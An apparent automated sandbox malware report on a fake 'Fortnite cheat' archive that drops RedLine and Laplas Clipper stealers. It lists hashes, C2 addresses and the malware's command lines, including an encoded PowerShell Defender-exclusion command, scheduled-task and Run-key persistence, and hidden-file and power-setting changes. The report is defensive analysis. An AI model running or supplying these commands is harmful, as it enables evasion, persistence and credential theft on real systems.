Analysis Overview
SHA256
ebbd1af2b2516d62db06b4f3d8361bd610c53081884da05044102c30ccd7d948
Threat Level: Known bad
The file Fortnite cheat.rar was found to be: Known bad.
Malicious Activity Summary
RedLine
Laplas Clipper
Downloads MZ/PE file
Executes dropped EXE
Reads user/profile data of web browsers
Checks computer location settings
Loads dropped DLL
Checks installed software on the system
Accesses cryptocurrency files/wallets, possible credential harvesting
Adds Run key to start application
Legitimate hosting services abused for malware hosting/C2
Enumerates physical storage devices
Unsigned PE
Views/modifies file attributes
Modifies system certificate store
Suspicious behavior: EnumeratesProcesses
Suspicious use of AdjustPrivilegeToken
Suspicious use of WriteProcessMemory
GoLang User-Agent
MITRE ATT&CK
Enterprise Matrix V15
Analysis: static1
Detonation Overview
Reported
2023-07-30 21:16
Signatures
Unsigned PE
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
Analysis: behavioral2
Detonation Overview
Submitted
2023-07-30 21:16
Reported
2023-07-30 21:20
Platform
win10-20230703-en
Max time kernel
128s
Max time network
136s
Command Line
Signatures
RedLine
Reads user/profile data of web browsers
Accesses cryptocurrency files/wallets, possible credential harvesting
Checks installed software on the system
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\Fortnite cheat\Loader.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\Fortnite cheat\Loader.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Users\Admin\AppData\Local\Temp\Fortnite cheat\Loader.exe | N/A |
Processes
C:\Users\Admin\AppData\Local\Temp\Fortnite cheat\Loader.exe
"C:\Users\Admin\AppData\Local\Temp\Fortnite cheat\Loader.exe"
Network
| Country | Destination | Domain | Proto |
| NL | 94.142.138.4:80 | tcp | |
| US | 8.8.8.8:53 | 4.138.142.94.in-addr.arpa | udp |
| US | 8.8.8.8:53 | api.ip.sb | udp |
| US | 104.26.13.31:443 | api.ip.sb | tcp |
| US | 8.8.8.8:53 | 31.13.26.104.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 0.77.109.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 38.148.119.40.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 24.73.42.20.in-addr.arpa | udp |
Files
memory/4128-117-0x0000000000400000-0x000000000043C000-memory.dmp
memory/4128-118-0x0000000002050000-0x0000000002080000-memory.dmp
memory/4128-122-0x0000000073450000-0x0000000073B3E000-memory.dmp
memory/4128-123-0x0000000002540000-0x0000000002546000-memory.dmp
memory/4128-124-0x00000000025B0000-0x00000000025C0000-memory.dmp
memory/4128-125-0x000000000A670000-0x000000000AC76000-memory.dmp
memory/4128-126-0x000000000C3D0000-0x000000000C4DA000-memory.dmp
memory/4128-127-0x000000000C500000-0x000000000C512000-memory.dmp
memory/4128-128-0x000000000C520000-0x000000000C55E000-memory.dmp
memory/4128-129-0x000000000C5D0000-0x000000000C61B000-memory.dmp
memory/4128-130-0x000000000D080000-0x000000000D0F6000-memory.dmp
memory/4128-131-0x000000000D100000-0x000000000D192000-memory.dmp
memory/4128-132-0x000000000D8D0000-0x000000000D936000-memory.dmp
memory/4128-133-0x000000000D940000-0x000000000DE3E000-memory.dmp
memory/4128-134-0x000000000DEB0000-0x000000000E072000-memory.dmp
memory/4128-135-0x000000000E090000-0x000000000E5BC000-memory.dmp
memory/4128-136-0x0000000073450000-0x0000000073B3E000-memory.dmp
memory/4128-137-0x00000000025B0000-0x00000000025C0000-memory.dmp
memory/4128-138-0x000000000E740000-0x000000000E790000-memory.dmp
memory/4128-141-0x0000000073450000-0x0000000073B3E000-memory.dmp
Analysis: behavioral3
Detonation Overview
Submitted
2023-07-30 21:16
Reported
2023-07-30 21:20
Platform
win10v2004-20230703-en
Max time kernel
144s
Max time network
154s
Command Line
Signatures
Laplas Clipper
RedLine
Downloads MZ/PE file
Checks computer location settings
| Description | Indicator | Process | Target |
| Key value queried | \REGISTRY\USER\S-1-5-21-1043950675-1972537973-2972532878-1000\Control Panel\International\Geo\Nation | C:\Users\Admin\AppData\Local\Temp\Fortnite cheat\Loader.exe | N/A |
| Key value queried | \REGISTRY\USER\S-1-5-21-1043950675-1972537973-2972532878-1000\Control Panel\International\Geo\Nation | C:\Users\Admin\AppData\Local\Temp\conhost.exe | N/A |
Executes dropped EXE
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\svchost.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\conhost.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\main\7z.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\main\7z.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\main\7z.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\main\4.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\NTSystem\ntlhost.exe | N/A |
Loads dropped DLL
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\main\7z.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\main\7z.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\main\7z.exe | N/A |
Reads user/profile data of web browsers
Accesses cryptocurrency files/wallets, possible credential harvesting
Adds Run key to start application
| Description | Indicator | Process | Target |
| Set value (str) | \REGISTRY\USER\S-1-5-21-1043950675-1972537973-2972532878-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\NTSystem = "C:\\Users\\Admin\\AppData\\Roaming\\NTSystem\\ntlhost.exe" | C:\Users\Admin\AppData\Local\Temp\svchost.exe | N/A |
Checks installed software on the system
Legitimate hosting services abused for malware hosting/C2
Enumerates physical storage devices
GoLang User-Agent
| Description | Indicator | Process | Target |
| HTTP User-Agent header | Go-http-client/1.1 | N/A | N/A |
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\Fortnite cheat\Loader.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\Fortnite cheat\Loader.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\main\4.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\main\4.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\main\4.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\main\4.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\main\4.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\main\4.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\main\4.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\main\4.exe | N/A |
Suspicious use of AdjustPrivilegeToken
Suspicious use of WriteProcessMemory
Views/modifies file attributes
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\system32\attrib.exe | N/A |
Processes
C:\Users\Admin\AppData\Local\Temp\Fortnite cheat\Loader.exe
"C:\Users\Admin\AppData\Local\Temp\Fortnite cheat\Loader.exe"
C:\Users\Admin\AppData\Local\Temp\svchost.exe
"C:\Users\Admin\AppData\Local\Temp\svchost.exe"
C:\Users\Admin\AppData\Local\Temp\conhost.exe
"C:\Users\Admin\AppData\Local\Temp\conhost.exe"
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\main\main.bat" /S"
C:\Windows\system32\mode.com
mode 65,10
C:\Users\Admin\AppData\Local\Temp\main\7z.exe
7z.exe e file.zip -p151971033210090161381766327410 -oextracted
C:\Users\Admin\AppData\Local\Temp\main\7z.exe
7z.exe e extracted/file_2.zip -oextracted
C:\Users\Admin\AppData\Local\Temp\main\7z.exe
7z.exe e extracted/file_1.zip -oextracted
C:\Users\Admin\AppData\Local\Temp\main\4.exe
"4.exe"
C:\Windows\system32\attrib.exe
attrib +H "4.exe"
C:\Users\Admin\AppData\Roaming\NTSystem\ntlhost.exe
C:\Users\Admin\AppData\Roaming\NTSystem\ntlhost.exe
C:\Windows\SysWOW64\cmd.exe
"cmd.exe" /C powershell -EncodedCommand "PAAjAHUAZQBSAHMASwBBACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAUgA4AGoAbwBuAE0AMABaACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGQAQwBZAHMAeAAjAD4AIAAtAEYAbwByAGMAZQAgADwAIwBkAGQAWgBLAHcAbgAjAD4A" & powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0 & powercfg /hibernate off
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -EncodedCommand "PAAjAHUAZQBSAHMASwBBACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAUgA4AGoAbwBuAE0AMABaACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGQAQwBZAHMAeAAjAD4AIAAtAEYAbwByAGMAZQAgADwAIwBkAGQAWgBLAHcAbgAjAD4A"
C:\Windows\SysWOW64\cmd.exe
"cmd.exe" /c SCHTASKS /CREATE /SC MINUTE /MO 5 /TN "dllhost" /TR "C:\ProgramData\Dllhost\dllhost.exe"
C:\Windows\SysWOW64\cmd.exe
"cmd.exe" /c SCHTASKS /CREATE /SC HOURLY /TN "NvStray\NvStrayService_bk9117" /TR "C:\ProgramData\Dllhost\dllhost.exe"
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | 8.8.8.8.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 208.194.73.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 8.3.197.209.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 64.159.190.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 95.221.229.192.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 55.36.223.20.in-addr.arpa | udp |
| NL | 94.142.138.4:80 | tcp | |
| US | 8.8.8.8:53 | 4.138.142.94.in-addr.arpa | udp |
| US | 8.8.8.8:53 | api.ip.sb | udp |
| US | 104.26.13.31:443 | api.ip.sb | tcp |
| US | 8.8.8.8:53 | 31.13.26.104.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 146.78.124.51.in-addr.arpa | udp |
| N/A | 194.50.153.183:80 | 194.50.153.183 | tcp |
| US | 8.8.8.8:53 | 183.153.50.194.in-addr.arpa | udp |
| US | 8.8.8.8:53 | pastebin.com | udp |
| US | 104.20.68.143:443 | pastebin.com | tcp |
| US | 8.8.8.8:53 | 103.169.127.40.in-addr.arpa | udp |
| US | 8.8.8.8:53 | github.com | udp |
| US | 140.82.114.3:443 | github.com | tcp |
| US | 140.82.114.3:443 | github.com | tcp |
| US | 8.8.8.8:53 | 143.68.20.104.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 56.126.166.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 3.114.82.140.in-addr.arpa | udp |
| US | 8.8.8.8:53 | raw.githubusercontent.com | udp |
| US | 185.199.108.133:443 | raw.githubusercontent.com | tcp |
| US | 185.199.108.133:443 | raw.githubusercontent.com | tcp |
| US | 8.8.8.8:53 | 133.108.199.185.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 1.208.79.178.in-addr.arpa | udp |
| NL | 185.209.161.189:80 | 185.209.161.189 | tcp |
| US | 8.8.8.8:53 | 189.161.209.185.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 86.8.109.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 205.47.74.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 160.252.72.23.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 9.173.189.20.in-addr.arpa | udp |
Files
memory/1384-134-0x00000000005E0000-0x0000000000610000-memory.dmp
memory/1384-133-0x0000000000400000-0x000000000043C000-memory.dmp
memory/1384-138-0x00000000748C0000-0x0000000075070000-memory.dmp
memory/1384-139-0x0000000004C70000-0x0000000004C80000-memory.dmp
memory/1384-140-0x0000000005310000-0x0000000005928000-memory.dmp
memory/1384-141-0x0000000005DB0000-0x0000000005EBA000-memory.dmp
memory/1384-142-0x0000000005BD0000-0x0000000005BE2000-memory.dmp
memory/1384-143-0x0000000005BF0000-0x0000000005C2C000-memory.dmp
memory/1384-144-0x0000000006B00000-0x0000000006B76000-memory.dmp
memory/1384-145-0x0000000006B80000-0x0000000006C12000-memory.dmp
memory/1384-146-0x0000000009720000-0x0000000009786000-memory.dmp
memory/1384-148-0x00000000097A0000-0x0000000009D44000-memory.dmp
memory/1384-147-0x00000000748C0000-0x0000000075070000-memory.dmp
memory/1384-149-0x0000000009DF0000-0x0000000009FB2000-memory.dmp
memory/1384-150-0x0000000009FC0000-0x000000000A4EC000-memory.dmp
memory/1384-151-0x0000000004C70000-0x0000000004C80000-memory.dmp
memory/1384-152-0x0000000007050000-0x00000000070A0000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\svchost.exe
| MD5 | d076c4b5f5c42b44d583c534f78adbe7 |
| SHA1 | c35478e67d490145520be73277cd72cd4e837090 |
| SHA256 | 2c63c61e0adaaf669c9c674edfc9081d415c05b834611944a682f120ab9559d8 |
| SHA512 | b2dfcf98695e7e40578f02a104a1c2fa1de29d13b0056d3dc4a5689168546f437bfd6acbc99e3766f94efb01bac5c908f3e80795f017e1629c97b6b1026ce638 |
C:\Users\Admin\AppData\Local\Temp\svchost.exe
| MD5 | d076c4b5f5c42b44d583c534f78adbe7 |
| SHA1 | c35478e67d490145520be73277cd72cd4e837090 |
| SHA256 | 2c63c61e0adaaf669c9c674edfc9081d415c05b834611944a682f120ab9559d8 |
| SHA512 | b2dfcf98695e7e40578f02a104a1c2fa1de29d13b0056d3dc4a5689168546f437bfd6acbc99e3766f94efb01bac5c908f3e80795f017e1629c97b6b1026ce638 |
C:\Users\Admin\AppData\Local\Temp\svchost.exe
| MD5 | d076c4b5f5c42b44d583c534f78adbe7 |
| SHA1 | c35478e67d490145520be73277cd72cd4e837090 |
| SHA256 | 2c63c61e0adaaf669c9c674edfc9081d415c05b834611944a682f120ab9559d8 |
| SHA512 | b2dfcf98695e7e40578f02a104a1c2fa1de29d13b0056d3dc4a5689168546f437bfd6acbc99e3766f94efb01bac5c908f3e80795f017e1629c97b6b1026ce638 |
C:\Users\Admin\AppData\Local\Temp\conhost.exe
| MD5 | 6736c0e1179296ff6dfa0191ac874c7a |
| SHA1 | 89566e42fb866eecf5e8282b967461299ab7a08c |
| SHA256 | c60ecd5714a23a727d9749652883ec95bcdb350b9f278c34ac504edb898073e4 |
| SHA512 | 85791acbc9d538b92ac3c10a5ee87638ee0d9dd0323aa1eaf38c1c055e4312e5722f6b07e3f450c00cd595123a9981815a8ca972432749ee830852a76177125c |
C:\Users\Admin\AppData\Local\Temp\conhost.exe
| MD5 | 6736c0e1179296ff6dfa0191ac874c7a |
| SHA1 | 89566e42fb866eecf5e8282b967461299ab7a08c |
| SHA256 | c60ecd5714a23a727d9749652883ec95bcdb350b9f278c34ac504edb898073e4 |
| SHA512 | 85791acbc9d538b92ac3c10a5ee87638ee0d9dd0323aa1eaf38c1c055e4312e5722f6b07e3f450c00cd595123a9981815a8ca972432749ee830852a76177125c |
C:\Users\Admin\AppData\Local\Temp\conhost.exe
| MD5 | 6736c0e1179296ff6dfa0191ac874c7a |
| SHA1 | 89566e42fb866eecf5e8282b967461299ab7a08c |
| SHA256 | c60ecd5714a23a727d9749652883ec95bcdb350b9f278c34ac504edb898073e4 |
| SHA512 | 85791acbc9d538b92ac3c10a5ee87638ee0d9dd0323aa1eaf38c1c055e4312e5722f6b07e3f450c00cd595123a9981815a8ca972432749ee830852a76177125c |
C:\Users\Admin\AppData\Local\Temp\main\main.bat
| MD5 | 7f4c4965a2f78d6de87d304fdd355abf |
| SHA1 | 87a05c16753a036126677fe53118c07d36c0e671 |
| SHA256 | ed489607187114988306637dae2b81eff225315a8a8ee221249d14430f264fdb |
| SHA512 | 41c949862477065b8f537670b6747074c9e543753812fcb28b02be12b1bbf0fb8b9473ea0859fb1450fee848d62d4c70249d09f48a5e5eac15eb510b70b3f741 |
C:\Users\Admin\AppData\Local\Temp\main\file.bin
| MD5 | 7cebec977eb671d25c4160ee75cbf124 |
| SHA1 | e09e0e906834b7f2ec270ba589a01e455ebdf0d1 |
| SHA256 | f0e78c63d52116f121709480935013c26a99bd85ba6bfd5100bc5e4411c7178e |
| SHA512 | b79c8d6d4c947fdee755ef81c5c36d657ca1b4030c8f90f906961a22968c98d8fb6e33302191c28135c2593598876b6921f766270a50063754927b4404c798d1 |
memory/1384-186-0x0000000004C70000-0x0000000004C80000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\main\7z.exe
| MD5 | 619f7135621b50fd1900ff24aade1524 |
| SHA1 | 6c7ea8bbd435163ae3945cbef30ef6b9872a4591 |
| SHA256 | 344f076bb1211cb02eca9e5ed2c0ce59bcf74ccbc749ec611538fa14ecb9aad2 |
| SHA512 | 2c7293c084d09bc2e3ae2d066dd7b331c810d9e2eeca8b236a8e87fdeb18e877b948747d3491fcaff245816507685250bd35f984c67a43b29b0ae31ecb2bd628 |
C:\Users\Admin\AppData\Local\Temp\main\7z.dll
| MD5 | 72491c7b87a7c2dd350b727444f13bb4 |
| SHA1 | 1e9338d56db7ded386878eab7bb44b8934ab1bc7 |
| SHA256 | 34ad9bb80fe8bf28171e671228eb5b64a55caa388c31cb8c0df77c0136735891 |
| SHA512 | 583d0859d29145dfc48287c5a1b459e5db4e939624bd549ff02c61eae8a0f31fc96a509f3e146200cdd4c93b154123e5adfbfe01f7d172db33968155189b5511 |
C:\Users\Admin\AppData\Local\Temp\main\7z.dll
| MD5 | 72491c7b87a7c2dd350b727444f13bb4 |
| SHA1 | 1e9338d56db7ded386878eab7bb44b8934ab1bc7 |
| SHA256 | 34ad9bb80fe8bf28171e671228eb5b64a55caa388c31cb8c0df77c0136735891 |
| SHA512 | 583d0859d29145dfc48287c5a1b459e5db4e939624bd549ff02c61eae8a0f31fc96a509f3e146200cdd4c93b154123e5adfbfe01f7d172db33968155189b5511 |
memory/1384-195-0x00000000748C0000-0x0000000075070000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\main\7z.exe
| MD5 | 619f7135621b50fd1900ff24aade1524 |
| SHA1 | 6c7ea8bbd435163ae3945cbef30ef6b9872a4591 |
| SHA256 | 344f076bb1211cb02eca9e5ed2c0ce59bcf74ccbc749ec611538fa14ecb9aad2 |
| SHA512 | 2c7293c084d09bc2e3ae2d066dd7b331c810d9e2eeca8b236a8e87fdeb18e877b948747d3491fcaff245816507685250bd35f984c67a43b29b0ae31ecb2bd628 |
C:\Users\Admin\AppData\Local\Temp\main\extracted\file_2.zip
| MD5 | 270d4612657b69eda3ebbb1207fc8cd7 |
| SHA1 | e023ff99c13c056fa7f80b55dc12f1d02df92114 |
| SHA256 | 83b0eb7eee4c982f034d53b7541758fac699956433baeedf9b8f4494e367b5e7 |
| SHA512 | 6fe46a7dd1fc6930646e3ba08306e1cfe826dcba6b7e3af1c9439157f35919739940e1d8143c6abecfa83f6b92d324764dfa8ca54dca91250b849c2cd138e6fe |
C:\Users\Admin\AppData\Local\Temp\main\7z.dll
| MD5 | 72491c7b87a7c2dd350b727444f13bb4 |
| SHA1 | 1e9338d56db7ded386878eab7bb44b8934ab1bc7 |
| SHA256 | 34ad9bb80fe8bf28171e671228eb5b64a55caa388c31cb8c0df77c0136735891 |
| SHA512 | 583d0859d29145dfc48287c5a1b459e5db4e939624bd549ff02c61eae8a0f31fc96a509f3e146200cdd4c93b154123e5adfbfe01f7d172db33968155189b5511 |
C:\Users\Admin\AppData\Local\Temp\main\7z.exe
| MD5 | 619f7135621b50fd1900ff24aade1524 |
| SHA1 | 6c7ea8bbd435163ae3945cbef30ef6b9872a4591 |
| SHA256 | 344f076bb1211cb02eca9e5ed2c0ce59bcf74ccbc749ec611538fa14ecb9aad2 |
| SHA512 | 2c7293c084d09bc2e3ae2d066dd7b331c810d9e2eeca8b236a8e87fdeb18e877b948747d3491fcaff245816507685250bd35f984c67a43b29b0ae31ecb2bd628 |
C:\Users\Admin\AppData\Local\Temp\main\extracted\file_1.zip
| MD5 | 018ccdb718d3ad7641fecfdad0fbeb4e |
| SHA1 | 46cdffdea8e44b455873659a35dcd973364a84dd |
| SHA256 | 708b3379e029aafb112f890a6ae10f2a4eebe52eef991d2d6136a11fe84143b5 |
| SHA512 | dcd1494429ced81dfbcc83cb8c87d4cd42719d53918834e16691c0d068631ae39fe0381c668e92341a5cdccf75877c2af3ae81c66b6d37e4b149f68a06ab2803 |
C:\Users\Admin\AppData\Local\Temp\main\7z.dll
| MD5 | 72491c7b87a7c2dd350b727444f13bb4 |
| SHA1 | 1e9338d56db7ded386878eab7bb44b8934ab1bc7 |
| SHA256 | 34ad9bb80fe8bf28171e671228eb5b64a55caa388c31cb8c0df77c0136735891 |
| SHA512 | 583d0859d29145dfc48287c5a1b459e5db4e939624bd549ff02c61eae8a0f31fc96a509f3e146200cdd4c93b154123e5adfbfe01f7d172db33968155189b5511 |
C:\Users\Admin\AppData\Local\Temp\main\extracted\4.exe
| MD5 | a761e93d5993567d382af163745760ad |
| SHA1 | 27bd150490cd443a60bb70fa8b83299d75e02779 |
| SHA256 | 1edbffa93edd8b72a352aec6bbf6cd36b1045b26b8dfa141b10067aaddc8d6e1 |
| SHA512 | c9e4d46a747e02b7f387d6551f2d26ce847e66a69b8a8bddb276a83388b367f2fa28153402d5f274a81fcc260840afc043c4b853dd06d87125980a49934f14fa |
C:\Users\Admin\AppData\Local\Temp\main\4.exe
| MD5 | a761e93d5993567d382af163745760ad |
| SHA1 | 27bd150490cd443a60bb70fa8b83299d75e02779 |
| SHA256 | 1edbffa93edd8b72a352aec6bbf6cd36b1045b26b8dfa141b10067aaddc8d6e1 |
| SHA512 | c9e4d46a747e02b7f387d6551f2d26ce847e66a69b8a8bddb276a83388b367f2fa28153402d5f274a81fcc260840afc043c4b853dd06d87125980a49934f14fa |
C:\Users\Admin\AppData\Local\Temp\main\extracted\ANTIAV~1.DAT
| MD5 | 4762f0b6652250641a06e2029d6dda23 |
| SHA1 | bfa7925486f951f729b3ce47caa6ff52330420ad |
| SHA256 | 1e9654f0b077cfb8c393cb6cfd3d2b7918d87d56eaaf14f8523a582343d13b4e |
| SHA512 | 33227e64cc34f7e591f6a26b6eaef2f2b4369050e5a2c544413b8f8264114083a93fa70911810c19390ed3d1724bd73c135a2acf11f12f70892f20609593c72d |
memory/3984-213-0x00000000748C0000-0x0000000075070000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\main\7z.exe
| MD5 | 619f7135621b50fd1900ff24aade1524 |
| SHA1 | 6c7ea8bbd435163ae3945cbef30ef6b9872a4591 |
| SHA256 | 344f076bb1211cb02eca9e5ed2c0ce59bcf74ccbc749ec611538fa14ecb9aad2 |
| SHA512 | 2c7293c084d09bc2e3ae2d066dd7b331c810d9e2eeca8b236a8e87fdeb18e877b948747d3491fcaff245816507685250bd35f984c67a43b29b0ae31ecb2bd628 |
memory/3984-214-0x0000000000A30000-0x0000000000A3C000-memory.dmp
memory/3984-215-0x0000000005300000-0x000000000530A000-memory.dmp
memory/1116-217-0x00000000046B0000-0x00000000046E6000-memory.dmp
memory/1116-218-0x00000000748C0000-0x0000000075070000-memory.dmp
memory/1116-219-0x00000000047B0000-0x00000000047C0000-memory.dmp
memory/1116-220-0x00000000047B0000-0x00000000047C0000-memory.dmp
memory/1116-221-0x0000000004DF0000-0x0000000005418000-memory.dmp
memory/1116-222-0x00000000054B0000-0x00000000054D2000-memory.dmp
memory/1116-228-0x0000000005550000-0x00000000055B6000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_rcuigjhc.esp.ps1
| MD5 | d17fe0a3f47be24a6453e9ef58c94641 |
| SHA1 | 6ab83620379fc69f80c0242105ddffd7d98d5d9d |
| SHA256 | 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7 |
| SHA512 | 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82 |
memory/1116-233-0x0000000005C80000-0x0000000005C9E000-memory.dmp
memory/1116-234-0x00000000047B0000-0x00000000047C0000-memory.dmp
memory/1116-238-0x0000000006230000-0x0000000006262000-memory.dmp
memory/3984-239-0x00000000748C0000-0x0000000075070000-memory.dmp
memory/1116-240-0x0000000070EB0000-0x0000000070EFC000-memory.dmp
memory/1116-241-0x000000007FC70000-0x000000007FC80000-memory.dmp
memory/1116-251-0x0000000006210000-0x000000000622E000-memory.dmp
memory/1116-252-0x00000000075B0000-0x0000000007C2A000-memory.dmp
memory/1116-253-0x0000000006F70000-0x0000000006F8A000-memory.dmp
memory/1116-254-0x0000000006FE0000-0x0000000006FEA000-memory.dmp
memory/1116-256-0x0000000007200000-0x0000000007296000-memory.dmp
memory/1116-258-0x00000000071B0000-0x00000000071BE000-memory.dmp
memory/1116-259-0x00000000072A0000-0x00000000072BA000-memory.dmp
memory/1116-260-0x00000000071F0000-0x00000000071F8000-memory.dmp
memory/1116-263-0x00000000748C0000-0x0000000075070000-memory.dmp
memory/3984-265-0x00000000054D0000-0x00000000054E0000-memory.dmp
C:\Users\Admin\AppData\Roaming\NTSystem\ntlhost.exe
| MD5 | 4e804011c3dcec331cefe2c076de5efa |
| SHA1 | 6163b50b7181202dceb2fd2ae1520200de0357f4 |
| SHA256 | a75f608e75c60d490e1d4c45b1b54c8f7c675de4ba00baac947be68d6d6da947 |
| SHA512 | 93a9957e5cb30c7ed700d70789c89c6de759330788f0e151295c87fddad5b4af6dbf1265c230e0eebc443d01ab9f267fd74868996d579c9ad41fac2e703d5a43 |
C:\Users\Admin\AppData\Roaming\NTSystem\ntlhost.exe
| MD5 | 4e804011c3dcec331cefe2c076de5efa |
| SHA1 | 6163b50b7181202dceb2fd2ae1520200de0357f4 |
| SHA256 | a75f608e75c60d490e1d4c45b1b54c8f7c675de4ba00baac947be68d6d6da947 |
| SHA512 | 93a9957e5cb30c7ed700d70789c89c6de759330788f0e151295c87fddad5b4af6dbf1265c230e0eebc443d01ab9f267fd74868996d579c9ad41fac2e703d5a43 |
memory/3984-270-0x00000000748C0000-0x0000000075070000-memory.dmp
Analysis: behavioral1
Detonation Overview
Submitted
2023-07-30 21:16
Reported
2023-07-30 21:20
Platform
win7-20230712-en
Max time kernel
122s
Max time network
126s
Command Line
Signatures
RedLine
Reads user/profile data of web browsers
Accesses cryptocurrency files/wallets, possible credential harvesting
Checks installed software on the system
Modifies system certificate store
| Description | Indicator | Process | Target |
| Key created | \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D4DE20D05E66FC53FE1A50882C78DB2852CAE474 | C:\Users\Admin\AppData\Local\Temp\Fortnite cheat\Loader.exe | N/A |
| Set value (data) | \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D4DE20D05E66FC53FE1A50882C78DB2852CAE474\Blob = 040000000100000010000000acb694a59c17e0d791529bb19706a6e40f0000000100000014000000ce0e658aa3e847e467a147b3049191093d055e6f0b0000000100000034000000420061006c00740069006d006f007200650020004300790062006500720054007200750073007400200052006f006f007400000053000000010000002400000030223020060a2b06010401b13e01640130123010060a2b0601040182373c0101030200c0140000000100000014000000e59d5930824758ccacfa085436867b3ab5044df01d0000000100000010000000918ad43a9475f78bb5243de886d8103c09000000010000000c000000300a06082b06010505070301030000000100000014000000d4de20d05e66fc53fe1a50882c78db2852cae47419000000010000001000000068cb42b035ea773e52ef50ecf50ec52920000000010000007b030000308203773082025fa0030201020204020000b9300d06092a864886f70d0101050500305a310b300906035504061302494531123010060355040a130942616c74696d6f726531133011060355040b130a43796265725472757374312230200603550403131942616c74696d6f7265204379626572547275737420526f6f74301e170d3030303531323138343630305a170d3235303531323233353930305a305a310b300906035504061302494531123010060355040a130942616c74696d6f726531133011060355040b130a43796265725472757374312230200603550403131942616c74696d6f7265204379626572547275737420526f6f7430820122300d06092a864886f70d01010105000382010f003082010a0282010100a304bb22ab983d57e826729ab579d429e2e1e89580b1b0e35b8e2b299a64dfa15dedb009056ddb282ece62a262feb488da12eb38eb219dc0412b01527b8877d31c8fc7bab988b56a09e773e81140a7d1